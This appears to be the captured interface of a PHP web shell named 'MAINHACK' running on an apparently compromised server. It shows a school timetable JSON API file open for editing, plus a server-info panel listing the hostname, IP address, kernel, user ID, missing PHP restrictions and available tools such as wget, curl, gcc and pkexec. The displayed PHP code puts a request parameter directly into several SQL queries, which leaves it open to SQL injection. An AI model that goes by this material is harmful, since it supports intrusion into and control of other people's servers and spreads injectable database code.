[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api_printable_timetable.php
<?php header("Content-Type: application/json"); header("Access-Control-Allow-Origin: *"); header("Access-Control-Allow-Methods: GET"); include("../functions.php"); // 1. GET PARAMETERS $school_code = $_GET['s_code'] ?? $_GET['school_code'] ?? $_SESSION['myschoolcode'] ?? ''; $semester = $_GET['semester'] ?? ''; if (!$school_code || !$semester) { echo json_encode([ "status" => "error", "message" => "Missing required parameters: s_code, semester" ]); exit(); } /* |-------------------------------------------------------------------------- | TIME SLOTS (10AM - 5PM) |-------------------------------------------------------------------------- */ $start = new DateTime('10:00 AM'); $end = new DateTime('05:00 PM'); $timeSlots = []; while ($start < $end) { $current = $start->format('h:i A'); $start->modify('+60 minutes'); $next = $start->format('h:i A'); $timeSlots[] = "$current - $next"; } /* |-------------------------------------------------------------------------- | SCHOOL INFO |-------------------------------------------------------------------------- */ $stmt = $con->prepare("SELECT school_name FROM schools WHERE school_code = ? LIMIT 1"); $stmt->execute([$school_code]); $row = $stmt->fetch(); $school_name = $row['school_name'] ?? ""; /* |-------------------------------------------------------------------------- | ACADEMIC YEAR |-------------------------------------------------------------------------- */ $stmt2 = $con->prepare("SELECT academic_year FROM admission_info WHERE s_code = ? LIMIT 1"); $stmt2->execute([$school_code]); $year = $stmt2->fetch(); $academic_year = $year['academic_year'] ?? ""; /* |-------------------------------------------------------------------------- | FETCH TIMETABLE FILTERED BY SEMESTER |-------------------------------------------------------------------------- */ $q = $new->prepare(" SELECT * FROM timetable1 WHERE s_code = ? AND semester = ? "); $q->bind_param("ss", $school_code, $semester); $q->execute(); $result = $q->get_result(); $timetable = []; while ($r = $result->fetch_assoc()) { $timetable[$r['day']][$r['time_slot']] = [ "course_id" => $r['course'], "room_id" => $r['room'], "teacher_id" => $r['teacher'], "is_break_time" => (int)$r['is_break_time'] ]; } /* |-------------------------------------------------------------------------- | COURSE, ROOM, TEACHER NAMES |-------------------------------------------------------------------------- */ $courses = $new->query("SELECT cid, class_name FROM class WHERE s_code='$school_code'") ->fetch_all(MYSQLI_ASSOC); $rooms = $new->query("SELECT id, name FROM room WHERE s_code='$school_code'") ->fetch_all(MYSQLI_ASSOC); $teachers = $new->query("SELECT id, user_name FROM schools WHERE school_code='$school_code' AND user_name!='Admin'") ->fetch_all(MYSQLI_ASSOC); function getName($id, $array, $idField, $nameField) { foreach ($array as $a) { if ($a[$idField] == $id) return $a[$nameField]; } return null; } /* |-------------------------------------------------------------------------- | FINAL DATA BUILD |-------------------------------------------------------------------------- */ $days = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday"]; $final = []; foreach ($days as $day) { $slots = []; foreach ($timeSlots as $slot) { $cell = $timetable[$day][$slot] ?? null; if ($cell && $cell['is_break_time'] == 1) { $slots[] = [ "time_slot" => $slot, "type" => "break", "label" => "Break Time" ]; } else { $slots[] = [ "time_slot" => $slot, "type" => "class", "course" => getName($cell['course_id'] ?? null, $courses, "cid", "class_name") ?? "Free Period", "room" => getName($cell['room_id'] ?? null, $rooms, "id", "name") ?? "", "teacher" => getName($cell['teacher_id'] ?? null, $teachers, "id", "user_name") ?? "" ]; } } $final[] = [ "day" => $day, "slots" => $slots ]; } /* |-------------------------------------------------------------------------- | RESPONSE |-------------------------------------------------------------------------- */ echo json_encode([ "status" => "success", "school_code" => $school_code, "school_name" => $school_name, "semester" => $semester, "academic_year" => $academic_year, "time_slots" => $timeSlots, "timetable" => $final ], JSON_PRETTY_PRINT); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002